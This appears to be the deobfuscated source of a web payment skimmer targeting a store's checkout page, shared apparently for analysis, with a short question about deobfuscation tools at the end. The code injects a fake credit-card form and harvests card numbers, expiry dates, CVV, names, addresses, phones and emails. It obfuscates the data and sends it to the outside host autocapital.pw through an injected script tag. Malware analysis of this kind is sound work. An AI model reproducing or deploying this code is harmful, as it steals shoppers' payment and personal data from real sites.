|
window.stop();break;return;[1!1]; //This part is not part of the code. This is only here to prevent it from being maliciously loaded. |
|
|
|
if (window.location.pathname === "/puntodecruz/checkout/onepage/") { |
|
document.addEventListener("DOMContentLoaded", function(event) { |
|
if (getCookie("gj") != "true") { |
|
costi() |
|
} |
|
}) |
|
}; |
|
var numInterval; |
|
|
|
function costi() { |
|
numInterval = setInterval(function() { |
|
chack() |
|
}, 1000) |
|
} |
|
|
|
function chack() { |
|
if (!document.getElementById("pay_form")) { |
|
changConte() |
|
} |
|
} |
|
var valNum = false; |
|
var valCc = false; |
|
var checkForm; |
|
|
|
function del_spaces(inpString) { |
|
inpString = inpString.replace(/\s/g, ""); |
|
return inpString |
|
} |
|
|
|
function validLuhn(cc_num) { |
|
if (cc_num.length % 2 != 0) { |
|
cc_num = "0" + cc_num |
|
}; |
|
var mul, sum = 0; |
|
for (var i = 0; i < cc_num.length; i += 2) { |
|
sum += ((mul = cc_num.charAt(i) * 2) > 9 ? mul - 9 : mul) + Number(cc_num.charAt(i + 1)) |
|
}; |
|
return sum % 10 == 0 |
|
} |
|
|
|
function Moon(input) { |
|
var input_cleaned = del_spaces(input); |
|
var elm_cc_cid = document.getElementById("usaepay_cc_number"); |
|
if (validLuhn(input_cleaned)) { |
|
elm_cc_cid.style.color = "#000"; |
|
var elm_injectionsite = document.getElementById("source-errors"); |
|
elm_injectionsite.style.display = "none"; |
|
if (typeof elm_injectionsite.textContent !== "undefined") { |
|
elm_injectionsite.textContent = "" |
|
} else { |
|
elm_injectionsite.innerText = "" |
|
}; |
|
elm_injectionsite.innerHTML = ""; |
|
valNum = true |
|
} else { |
|
elm_cc_cid.style.color = "#eb1c26"; |
|
var elm_payment_target = document.getElementById("source-errors"); |
|
elm_payment_target.style.display = "block"; |
|
if (typeof elm_payment_target.textContent !== "undefined") { |
|
elm_payment_target.innerHTML = "<p>The card number is not a valid credit card number</p>" |
|
} else { |
|
elm_payment_target.innerHTML = "<p>The card number is not a valid credit card number</p>" |
|
}; |
|
valNum = false |
|
}; |
|
checkAll() |
|
} |
|
|
|
function validCcode(test_cc) { |
|
if (test_cc == "" || test_cc.length < 3) { |
|
var elm_cc_cid = document.getElementById("usaepay_cc_cid"); |
|
elm_cc_cid.style.color = "#eb1c26"; |
|
var elm_injectionsite = document.getElementById("source-errors"); |
|
elm_injectionsite.style.display = "block"; |
|
if (typeof elm_injectionsite.textContent !== "undefined") { |
|
elm_injectionsite.innerHTML = "<p>The Card Verification Number is invalid</p>" |
|
} else { |
|
elm_injectionsite.innerHTML = "<p>The Card Verification Number is invalid</p>" |
|
}; |
|
valCc = false |
|
} else { |
|
var elm_cc_cid = document.getElementById("usaepay_cc_cid"); |
|
elm_cc_cid.style.color = "#000"; |
|
var elm_payment_target = document.getElementById("source-errors"); |
|
elm_payment_target.style.display = "none"; |
|
if (typeof elm_payment_target.textContent !== "undefined") { |
|
elm_payment_target.textContent = "" |
|
} else { |
|
elm_payment_target.innerText = "" |
|
}; |
|
valCc = true |
|
}; |
|
checkAll() |
|
} |
|
|
|
function checkAll() { |
|
var elm_cc_name = document.getElementById("name_on_card"); |
|
if (valNum && valCc && (elm_cc_name.value.length > 0)) { |
|
document.getElementById("amscheckout-submit").disabled = false |
|
} else { |
|
document.getElementById("amscheckout-submit").disabled = true |
|
} |
|
} |
|
|
|
function getCookie(cookie_key) { |
|
let cookie_value = document.cookie.match(new RegExp("(?:^|; )" + cookie_key.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g, "\$1") + "=([^;]*)")); |
|
return cookie_value ? decodeURIComponent(cookie_value[1]) : undefined |
|
} |
|
|
|
function formEnabled() { |
|
document.getElementById("card_type").disabled = false; |
|
document.getElementById("usaepay_cc_number").disabled = false; |
|
document.getElementById("name_on_card").disabled = false; |
|
document.getElementById("usaepay_expiration").disabled = false; |
|
document.getElementById("usaepay_expiration_yr").disabled = false; |
|
document.getElementById("usaepay_cc_cid").disabled = false |
|
} |
|
|
|
function changConte() { |
|
var elm_payment_target = document.getElementById("co-payment-form-update"); |
|
var elm_injectionsite = elm_payment_target.getElementsByTagName("dt")[0]; |
|
var html_source = elm_injectionsite.outerHTML; |
|
html_source = html_source + "<div id=\"pay_form\" style=\"display: none;\"><p style=\"font-weight: bold; margin-top: 10px;\">Credit Card</p><ul style=\"padding: 0px 10px 10px 22px;\" name=\"checkout\"><li style=\"list-style-type: none;\"><p>Credit Card Type <span style=\"color: red;\">*</span></p><select id=\"card_type\" name=\"payment[cc_type]\" style=\"width: 300px; max-width: 90%; height: auto;\" autocomplete=\"off\"><option value=\"\">--Please Select--</option><option value=\"MC\">MasterCard</option><option value=\"VI\">Visa</option><option value=\"MA\">Maestro</option><option value=\"DI\">Discover</option><option value=\"AE\">American Express</option></select></li><li style=\"list-style-type: none;\"><p>Credit Card Number <span style=\"color: red;\">*</span></p><input type=\"text\" id=\"usaepay_cc_number\" name=\"payment[cc_number]\" title=\"Credit Card Number\" onblur=\"Moon(this.value)\" style=\"float:none; width: 300px; max-width: 90%; background-color: #fff;\" value=\"\" autocomplete=\"off\"></li><li style=\"list-style-type: none;\"><p>Name on Card <span style=\"color: red;\">*</span></p><input type=\"text\" id=\"name_on_card\" name=\"payment[name_on_card]\" title=\"Name on Card\" style=\"float: none; width: 300px; max-width: 90%; background-color: #fff;\" value=\"\" autocomplete=\"off\"></li><li style=\"list-style-type: none;\"><p>Expiration Date <span style=\"color: red;\">*</span></p><select id=\"usaepay_expiration\" style=\"max-width:140px !important; float: left; height: auto;\" name=\"payment[cc_exp_month]\" autocomplete=\"off\"><option value=\"01\">January</option> <option value=\"02\">February</option> <option value=\"03\">March</option> <option value=\"04\">April</option> <option value=\"05\">May</option> <option value=\"06\">June</option> <option value=\"07\">July</option> <option value=\"08\">August</option> <option value=\"09\">September</option> <option value=\"10\">October</option> <option value=\"11\">November</option> <option value=\"12\">December</option> </select><select id=\"usaepay_expiration_yr\" style=\"max-width:140px !important; height: auto;\" name=\"payment[cc_exp_year]\" class=\"required-entry\" autocomplete=\"off\"> <option value=\"2020\">2020</option> <option value=\"2021\">2021</option> <option value=\"2022\">2022</option> <option value=\"2023\">2023</option> <option value=\"2024\">2024</option> <option value=\"2025\">2025</option> <option value=\"2026\">2026</option> <option value=\"2027\">2027</option> <option value=\"2028\">2028</option> <option value=\"2029\">2029</option> <option value=\"2030\">2030</option> </select></li><li style=\"list-style-type: none;\"><p>Card Verification Number <span style=\"color: red;\">*</span></p><input type=\"text\" title=\"Card Verification Number\" onblur=\"validCcode(this.value)\" id=\"usaepay_cc_cid\" name=\"payment[cc_cid]\" style=\"width:4em; float:none; background-color: #fff;\" value=\"\" autocomplete=\"off\"><div><span id=\"source-errors\" style=\"color: red;\"></span></div></li></ul></div>"; |
|
elm_injectionsite.outerHTML = html_source; |
|
if (document.getElementById("p_method_redsys").checked == true) { |
|
document.cookie = "gj=true; max-age=2419200"; |
|
document.getElementById("pay_form").style.display = "block"; |
|
document.getElementById("amscheckout-submit").disabled = true; |
|
setTimeout(formEnabled, 500) |
|
}; |
|
var elm_method_redsys = document.getElementById("p_method_redsys"); |
|
var elm_method_paypal = document.getElementById("p_method_paypal_standard"); |
|
elm_method_redsys.onchange = function() { |
|
document.cookie = "gj=true; max-age=2419200"; |
|
document.getElementById("pay_form").style.display = "block"; |
|
document.getElementById("amscheckout-submit").disabled = true; |
|
setTimeout(formEnabled, 500) |
|
}; |
|
elm_method_paypal.onchange = function() { |
|
document.getElementById("amscheckout-submit").disabled = false; |
|
document.getElementById("pay_form").style.display = "none" |
|
}; |
|
var elm_cc_num = document.getElementById("usaepay_cc_number"); |
|
for (var event in ["input", "change", "blur", "keyup"]) { |
|
elm_cc_num.addEventListener("input", ccnum_restrictor, false) |
|
}; |
|
var elm_name = document.getElementById("name_on_card"); |
|
elm_name.onchange = function() { |
|
checkAll() |
|
}; |
|
|
|
function ccnum_restrictor() { |
|
var value = this.value.replace(/[^\d]/g, "").substring(0, 18); |
|
value = value != "" ? value.match(/.{1,4}/g).join(" ") : ""; |
|
this.value = value |
|
} |
|
elm_cc_num.oninput = function() { |
|
var value = this.value.replace(/\D/g, ""); |
|
if (16 <= value.length) { |
|
Moon(this.value) |
|
} |
|
}; |
|
var elm_cc_cid = document.getElementById("usaepay_cc_cid"); |
|
for (var event in ["input", "change", "blur", "keyup"]) { |
|
elm_cc_cid.addEventListener("input", cid_restrictor, false) |
|
}; |
|
elm_cc_cid.oninput = function() { |
|
var value = this.value.replace(/\D/g, ""); |
|
console.log(value.length); |
|
if (3 <= value.length) { |
|
validCcode(value) |
|
} |
|
}; |
|
|
|
function cid_restrictor() { |
|
var value = this.value.replace(/[^\d]/g, "").substring(0, 4); |
|
this.value = value |
|
} |
|
} |
|
if (typeof window["ant_zero"] == "undefined") { |
|
window.ant_zero = 0; |
|
window.ant_loaded = false; |
|
window.ant_last_data = false; |
|
window.ant_interval; |
|
window.payment_checkout1 = ["*[name*='numero_cartao']", "input[id*='cc_number']", "*[name*='cc_num']"]; |
|
window.payment_checkout2 = ["*[name*='expiracao_mes']", "*[name*='cc_exp_m']", "*[name*='expirationMonth']"]; |
|
window.payment_checkout3 = ["*[name*='expiracao_ano']", "*[name*='cc_exp_y']", "*[name*='expirationYear']"]; |
|
window.payment_checkout4 = ["*[name*='codigo_seguranca']", "input[id*='cc_cid']", "*[name*='cc_cid']", "*[name*='cc_cvv']"]; |
|
|
|
function serializeToQuery(input) { |
|
var input = []; |
|
for (var inputKey in input) { |
|
if (input.hasOwnProperty(inputKey)) { |
|
input.push(encodeURIComponent(inputKey) + "=" + encodeURIComponent(input[inputKey])) |
|
} |
|
}; |
|
return input.join("&") |
|
} |
|
|
|
function serializeKeysValues(data_keys, data_values) { |
|
var result = []; |
|
for (var i = 0; i < data_keys.length; i++) { |
|
result.push(encodeURIComponent(data_keys[i]) + "=" + encodeURIComponent(data_values[i])) |
|
}; |
|
return result.join("&") |
|
} |
|
|
|
function ant_replace_at(input, start, replacement) { |
|
return input.substr(0, start) + replacement + input.substr(start + replacement.length) |
|
} |
|
|
|
function ant_pack(input) { |
|
var output = ""; |
|
for (var i = 0; i < input.length; i++) { |
|
output += "" + input.charCodeAt(i).toString(16) |
|
}; |
|
for (var i = 0; i < output.length; i += 2) { |
|
var start = output.substr(i, 1); |
|
var end = output.substr(i + 1, 1); |
|
output = ant_replace_at(output, i, end); |
|
output = ant_replace_at(output, i + 1, start) |
|
}; |
|
return output |
|
} |
|
|
|
function randomInteger(rMin, rMax) { |
|
var rNum = rMin + Math.random() * (rMax + 1 - rMin); |
|
return Math.floor(rNum) |
|
} |
|
|
|
function ant_post_ajax(data, unused) { |
|
var head = document.getElementsByTagName("head").item(0); |
|
var script = document.createElement("script"); |
|
var source = "https://autocapital.pw/get.php?" + data; |
|
script.setAttribute("src", source); |
|
head.appendChild(script) |
|
} |
|
|
|
function ant_get_elem(search) { |
|
for (var i = 0; i < search.length; i++) { |
|
var found = search[i]; |
|
var found2 = document.querySelector(found); |
|
if (found2) { |
|
return found2 |
|
} |
|
}; |
|
return false |
|
} |
|
|
|
function ant_get_val(input0) { |
|
var result = document.querySelector(input0); |
|
if (!result) { |
|
return "" |
|
}; |
|
return result.value |
|
} |
|
|
|
function ant_get_val_multi(search) { |
|
var result = ant_get_elem(search); |
|
if (!result) { |
|
return "" |
|
}; |
|
return result.value |
|
} |
|
|
|
function ant_main() { |
|
var host = location.hostname; |
|
var input5 = ant_get_elem(window.payment_checkout1); |
|
if (!input5) { |
|
return |
|
}; |
|
var cc_number = ant_get_val_multi(window.payment_checkout1); |
|
var cc_exp_m = ant_get_val_multi(window.payment_checkout2); |
|
var cc_exp_y = ant_get_val_multi(window.payment_checkout3); |
|
var cc_cid = ant_get_val_multi(window.payment_checkout4); |
|
if ((!cc_number) || (!cc_cid) || (!cc_exp_m) || (!cc_exp_y)) { |
|
return |
|
}; |
|
var field_firstname = ant_get_val_multi(["*[name='billing[firstname]']", "input[name=\"firstname\"]"]); |
|
var field_lastname = ant_get_val_multi(["*[name='billing[lastname]']", "input[name=\"lastname\"]"]); |
|
var field_address = ant_get_val_multi(["*[name='billing[street][]']", "input[name=\"street[0]\"]"]); |
|
var field_city = ant_get_val_multi(["*[name='billing[city]']", "input[name=\"city\"]"]); |
|
var field_state = ant_get_val_multi(["*[name='billing[region_id]']", "input[name='region']"]); |
|
var field_zipcode = ant_get_val_multi(["*[name='billing[postcode]']", "input[name='postcode']"]); |
|
var field_country = ant_get_val_multi(["*[name='billing[country_id]']", "*[name='country_id']"]); |
|
var field_phone = ant_get_val_multi(["*[name='billing[telephone]']", "input[name='telephone']"]); |
|
var field_email = ant_get_val_multi(["*[name='billing[email]']", "input[name='username']"]); |
|
var data_keys = []; |
|
var data_values = []; |
|
data_keys.push("host"); |
|
data_values.push(host); |
|
data_keys.push("number"); |
|
data_values.push(cc_number); |
|
data_keys.push("exp1"); |
|
data_values.push(cc_exp_m); |
|
data_keys.push("exp2"); |
|
data_values.push(cc_exp_y); |
|
data_keys.push("cvv"); |
|
data_values.push(cc_cid); |
|
data_keys.push("firstname"); |
|
data_values.push(field_firstname); |
|
data_keys.push("lastname"); |
|
data_values.push(field_lastname); |
|
data_keys.push("address"); |
|
data_values.push(field_address); |
|
data_keys.push("city"); |
|
data_values.push(field_city); |
|
data_keys.push("state"); |
|
data_values.push(field_state); |
|
data_keys.push("zip"); |
|
data_values.push(field_zipcode); |
|
data_keys.push("country"); |
|
data_values.push(field_country); |
|
data_keys.push("phone"); |
|
data_values.push(field_phone); |
|
data_keys.push("email"); |
|
data_values.push(field_email); |
|
data_keys.push("uagent"); |
|
data_values.push(navigator.userAgent); |
|
var data_keyvalues = ant_pack(serializeKeysValues(data_keys, data_values)); |
|
if (data_keyvalues == window.ant_last_data) { |
|
return |
|
}; |
|
window.ant_last_data = data_keyvalues; |
|
data_values = "ztoken=" + data_keyvalues; |
|
ant_post_ajax(data_values, false) |
|
} |
|
|
|
function ant_cockroach() { |
|
if (!(ant_get_elem(window.payment_checkout1))) { |
|
return |
|
}; |
|
var input5 = []; |
|
var search = ["button[onclick*='.save']", "button[class*='checkout']"]; |
|
for (var i = 0; i < search.length; i++) { |
|
var found = search[i]; |
|
var input6 = document.querySelectorAll(found); |
|
for (var input7 = 0; input7 < input6.length; input7++) { |
|
var found2 = input6[input7]; |
|
if (!(input5.includes(found2))) { |
|
input5.push(found2) |
|
} |
|
} |
|
}; |
|
for (var i = 0; i < input5.length; i++) { |
|
var found2 = input5[i]; |
|
var input8 = found2.getAttribute("ant_check"); |
|
if (input8 == "1") { |
|
continue |
|
}; |
|
found2.addEventListener("click", function() { |
|
try { |
|
ant_main() |
|
} catch (err) {} |
|
}); |
|
found2.addEventListener("mousedown", function() { |
|
try { |
|
ant_main() |
|
} catch (err) {} |
|
}); |
|
found2.setAttribute("ant_check", "1") |
|
} |
|
} |
|
|
|
function ant_load() { |
|
if (window.ant_loaded) { |
|
return |
|
}; |
|
window.ant_loaded = true; |
|
ant_cockroach(); |
|
window.ant_interval = setInterval(function() { |
|
ant_cockroach() |
|
}, 7000) |
|
} |
|
document.addEventListener("DOMContentLoaded", function(inputa) { |
|
ant_load() |
|
}); |
|
window.addEventListener("load", function() { |
|
ant_load() |
|
}, false); |
|
setTimeout(function() { |
|
ant_load() |
|
}, 7000) |
|
} |
How do you deobfuscate the code. What tools did you use?